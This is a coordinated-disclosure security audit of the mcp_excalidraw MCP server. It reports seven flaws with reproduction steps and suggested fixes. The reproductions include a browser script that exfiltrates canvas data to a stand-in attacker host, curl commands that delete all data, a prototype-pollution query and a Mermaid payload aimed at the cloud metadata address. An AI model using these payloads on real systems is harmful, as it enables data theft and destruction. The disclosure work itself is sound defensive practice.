# Security Audit: mcp_excalidraw (yctimlin/mcp_excalidraw)
**Reported by:** Debu Sinha ([@debu-sinha](https://github.com/debu-sinha))
**Date:** 2026-02-07
**Severity:** CRITICAL / HIGH
**Affected version:** 1.0.2 (current as of disclosure date)
**Repository:** https://github.com/yctimlin/mcp_excalidraw
---
## Summary
Thanks for building mcp_excalidraw - the 725+ stars show there's real demand for an Excalidraw MCP server.
I did a security review of MCP servers in this space and found 7 vulnerabilities in this project (2 CRITICAL, 3 HIGH, 2 MEDIUM). The main issues are unauthenticated access to all canvas data, wildcard CORS allowing cross-site data theft, and a destructive sync endpoint with no safeguards. Details below.
---
## Disclosure Timeline
| Date | Action |
|------|--------|
| 2026-02-07 | Initial disclosure via GitHub issue |
| 2026-02-07 | 90-day remediation window begins |
| 2026-05-08 | Public disclosure deadline (90 days) |
Happy to coordinate on timing. If fixes land before the deadline I'll confirm and close this issue. Extensions are fine if you need more time.
---
## Findings
### VULN-01: Zero Authentication on All Endpoints [CRITICAL]
**CVSS v3.1 estimate:** 9.8 (Critical)
The Express server exposes a full CRUD API (`GET/POST/PUT/DELETE /api/elements`, `POST /api/elements/batch`, `POST /api/elements/sync`, etc.) with no authentication or authorization on any endpoint. Any network-reachable client can read, create, modify, or delete all canvas elements.
The Docker Compose configuration sets `HOST=0.0.0.0`, which binds the server to all network interfaces, making the unauthenticated API reachable from any machine on the local network or, in cloud deployments, potentially the public internet.
**Reproduction:**
```bash
# From any machine that can reach the server:
# Read all canvas elements (no auth required)
curl http://<server-ip>:3000/api/elements
# Delete an element (no auth required)
curl -X DELETE http://<server-ip>:3000/api/elements/<any-id>
# Overwrite ALL elements (no auth required)
curl -X POST http://<server-ip>:3000/api/elements/sync \
-H "Content-Type: application/json" \
-d '{"elements": [], "timestamp": "2026-01-01T00:00:00Z"}'
```
**Impact:** Complete unauthorized read/write/delete access to all canvas data. In a shared network environment (office, coffee shop, cloud VPC), any adjacent host can exfiltrate or destroy all diagram data.
**Suggested mitigation:**
- Add API key authentication on all endpoints, validated with constant-time string comparison to prevent timing attacks
- Bind to `127.0.0.1` (localhost) by default instead of `0.0.0.0`
- Support configurable allowed origins
---
### VULN-02: Wildcard CORS Policy [HIGH]
**CVSS v3.1 estimate:** 7.5 (High)
The server uses `app.use(cors())` with no configuration, which defaults to `Access-Control-Allow-Origin: *`. This allows any website to make cross-origin requests to the API.
**Relevant code (src/server.ts):**
```typescript
app.use(cors());
```
**Reproduction:**
Open any webpage and run:
```javascript
// From any origin -- this succeeds because CORS is wide open
fetch('http://localhost:3000/api/elements')
.then(r => r.json())
.then(data => {
// Attacker now has all canvas elements
console.log('Stolen elements:', data.elements);
// Exfiltrate to attacker server
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
});
```
**Impact:** A malicious or compromised website visited by a user running mcp_excalidraw can silently read all canvas data, modify elements, or delete content -- all from the browser without the user's knowledge.
**Suggested mitigation:**
- Replace wildcard CORS with an explicit origin allowlist
- At minimum, restrict to `http://localhost:3000` (the frontend origin)
- Return CORS headers only for configured origins
---
### VULN-03: Unauthenticated WebSocket Connections [HIGH]
**CVSS v3.1 estimate:** 7.5 (High)
The WebSocket server accepts all incoming connections with no authentication, token validation, or origin checking. On connection, the server immediately sends all current elements to the new client.
**Relevant code (src/server.ts):**
```typescript
wss.on('connection', (ws: WebSocket) => {
clients.add(ws);
// Immediately sends ALL elements to any connecting client
const initialMessage: InitialElementsMessage = {
type: 'initial_elements',
elements: Array.from(elements.values())
};
ws.send(JSON.stringify(initialMessage));
// ...
});
```
**Reproduction:**
```javascript
// From any origin or network location
const ws = new WebSocket('ws://localhost:3000');
ws.onmessage = (event) => {
const msg = JSON.parse(event.data);
if (msg.type === 'initial_elements') {
console.log('All elements received:', msg.elements);
}
// Also receives all real-time updates (creates, deletes, etc.)
};
```
**Impact:** Any client can connect to the WebSocket and receive a full dump of all canvas elements plus all subsequent real-time updates. This provides a persistent surveillance channel for an attacker.
**Suggested mitigation:**
- Require a token (query parameter or first-message handshake) for WebSocket connections
- Validate the `Origin` header on upgrade requests
- Add a configurable maximum connection count
---
### VULN-04: Destructive Sync Endpoint with No Safeguards [HIGH]
**CVSS v3.1 estimate:** 8.1 (High)
`POST /api/elements/sync` calls `elements.clear()` to delete ALL existing elements before writing the incoming payload. There is no confirmation step, no rate limiting, no backup/snapshot, and no undo capability. A single unauthenticated POST request can destroy all canvas state.
**Relevant code (src/server.ts):**
```typescript
// 1. Clear existing memory storage
elements.clear();
```
**Reproduction:**
```bash
# Destroy all canvas data with a single request
curl -X POST http://localhost:3000/api/elements/sync \
-H "Content-Type: application/json" \
-d '{"elements": [], "timestamp": "2026-01-01T00:00:00Z"}'
```
After this request, `elements` is empty and all connected WebSocket clients receive the sync event. All prior work is permanently lost.
**Impact:** Complete, unrecoverable data loss. Especially dangerous given the lack of authentication (VULN-01) -- any network-adjacent client can trigger this.
**Suggested mitigation:**
- Gate the sync endpoint behind authentication
- Create a snapshot of current state before clearing (even an in-memory ring buffer of the last N states)
- Add rate limiting on destructive operations
- Consider requiring a confirmation token for full-sync operations
---
### VULN-05: Unpinned Critical Dependency (@modelcontextprotocol/sdk) [HIGH]
**CVSS v3.1 estimate:** 7.2 (High)
The `package.json` specifies `"@modelcontextprotocol/sdk": "latest"`, which means every `npm install` pulls whatever version is currently latest on npm. If this package is compromised (typosquatting, maintainer account takeover, or malicious publish), all users who install or rebuild the project will execute the compromised code.
**Relevant code (package.json):**
```json
"@modelcontextprotocol/sdk": "latest"
```
**Impact:** Supply chain compromise. A malicious version of the MCP SDK would run with full Node.js process privileges, with access to all environment variables, file system, and network -- inside a server that handles potentially sensitive diagram data.
**Suggested mitigation:**
- Pin to a specific version: `"@modelcontextprotocol/sdk": "^1.12.0"` (or the current known-good version)
- Add a `package-lock.json` to the repository (it appears to exist but the pinning in `package.json` should still be explicit)
- Consider running `npm audit` in CI
---
### VULN-06: Prototype Pollution via Unvalidated Query Parameters [MEDIUM]
**CVSS v3.1 estimate:** 5.3 (Medium)
The `GET /api/elements/search` endpoint spreads all query parameters into a filter object and uses bracket notation to access element properties:
```typescript
const { type, ...filters } = req.query;
// ...
results = results.filter(element => {
return Object.entries(filters).every(([key, value]) => {
return (element as any)[key] === value;
});
});
```
The `filters` object comes directly from `req.query` with no validation of key names. An attacker can pass `__proto__`, `constructor`, or `prototype` as query parameter keys.
**Reproduction:**
```bash
curl "http://localhost:3000/api/elements/search?__proto__[polluted]=true"
```
While Express's default query parser (qs) has some built-in prototype pollution protections, the pattern of spreading unvalidated keys and using them as property accessors is a known risky pattern. Combined with other middleware or future code changes, this can become exploitable.
**Impact:** Potential prototype pollution leading to property injection on Object.prototype. Depending on downstream code, this could enable denial of service, authentication bypass, or remote code execution.
**Suggested mitigation:**
- Validate query parameter keys against an explicit allowlist of filterable fields
- Use a Zod schema with `.strict()` to reject unknown fields
- Avoid `(element as any)[key]` patterns in favor of explicit property access
---
### VULN-07: Unsanitized Mermaid Input (Potential SSRF) [MEDIUM]
**CVSS v3.1 estimate:** 5.0 (Medium)
The `POST /api/elements/from-mermaid` endpoint accepts arbitrary Mermaid diagram syntax and broadcasts it to all WebSocket clients for rendering. The only validation is a type check (`typeof mermaidDiagram !== 'string'`). Mermaid's rendering engine supports external links, click handlers, and various directives that could be abused.
**Reproduction:**
```bash
curl -X POST http://localhost:3000/api/elements/from-mermaid \
-H "Content-Type: application/json" \
-d '{"mermaidDiagram": "graph TD\n A[Click me] --> B\n click A href \"http://169.254.169.254/latest/meta-data/\" _blank"}'
```
**Impact:** Depending on the rendering context (server-side vs. client-side), this could enable SSRF against cloud metadata endpoints, or XSS in the frontend. Even in client-side rendering, malicious Mermaid definitions can inject clickable links that phish users.
**Suggested mitigation:**
- Strip or reject Mermaid `click` directives and external `href` references
- Set Mermaid's `securityLevel` to `strict`
- Validate diagram syntax server-side before broadcasting
- Limit maximum diagram input length
---
## Additional Findings
Beyond the 7 primary vulnerabilities above, I also noted these secondary issues:
| Finding | Risk | Detail |
|---------|------|--------|
| Predictable element IDs | Low | `generateId()` uses `Date.now().toString(36) + Math.random().toString(36).substring(2)`. Both `Date.now()` and `Math.random()` are predictable. Use `crypto.randomUUID()` instead. |
| No rate limiting | Medium | No rate limiting on any endpoint. An attacker can flood the server with requests, causing denial of service. |
| No request body size limit | Medium | `express.json()` is used without a `limit` option. Default is 100KB, but explicit limits should be set and documented. |
| No security headers | Low | No `helmet` middleware or equivalent. Missing `Content-Security-Policy`, `X-Content-Type-Options`, `Strict-Transport-Security`, and other standard headers. |
| 17 dependency CVEs | Medium | Running `npm audit` on the current `package-lock.json` reports 17 known vulnerabilities across dependencies. |
| Health endpoint leaks internals | Low | `/health` and `/api/sync/status` expose `elements_count`, `websocket_clients`, and `heapUsed`/`heapTotal` memory metrics to any unauthenticated client. |
---
## Hardened Alternative
While working through these findings, I built a security-hardened fork that addresses all of the above: [debu-sinha/excalidraw-mcp-server](https://github.com/debu-sinha/excalidraw-mcp-server). It is not a direct fork of this repository (it was rewritten), but it provides the same MCP+Excalidraw functionality with the following security measures:
- API key authentication with constant-time comparison on all endpoints
- Origin-restricted CORS (no wildcard)
- WebSocket token authentication and origin validation
- Rate limiting with configurable standard and strict tiers
- Helmet.js security headers with Content Security Policy
- Bounded Zod schemas with `.strict()` to reject unknown fields
- 512KB request body size limit and 1MB WebSocket payload limit
- Cryptographically random IDs via `crypto.randomUUID()`
- Pinned dependencies with automated `npm audit` in CI
- Structured audit logging for all state-changing operations
Not trying to compete with this project - just sharing in case any of the patterns are useful as reference when addressing these findings.
---
## Coordinated Disclosure Policy
This disclosure follows a 90-day coordinated disclosure timeline:
1. **Day 0 (2026-02-07):** Private disclosure to maintainer via this issue.
2. **Day 1-90:** Remediation window. I am available to review proposed fixes, answer questions, or test patches.
3. **Day 90 (2026-05-08):** If no fix has been released, I reserve the right to disclose these findings publicly. If a fix is released earlier, I will confirm the fix and close this issue.
Flexible on timing - the goal is to get these fixed for the 725+ users, not to create pressure.
---
## Contact
- GitHub: [@debu-sinha](https://github.com/debu-sinha)
- Email: debusinha2009@gmail.com
Happy to help with reviewing patches or testing fixes.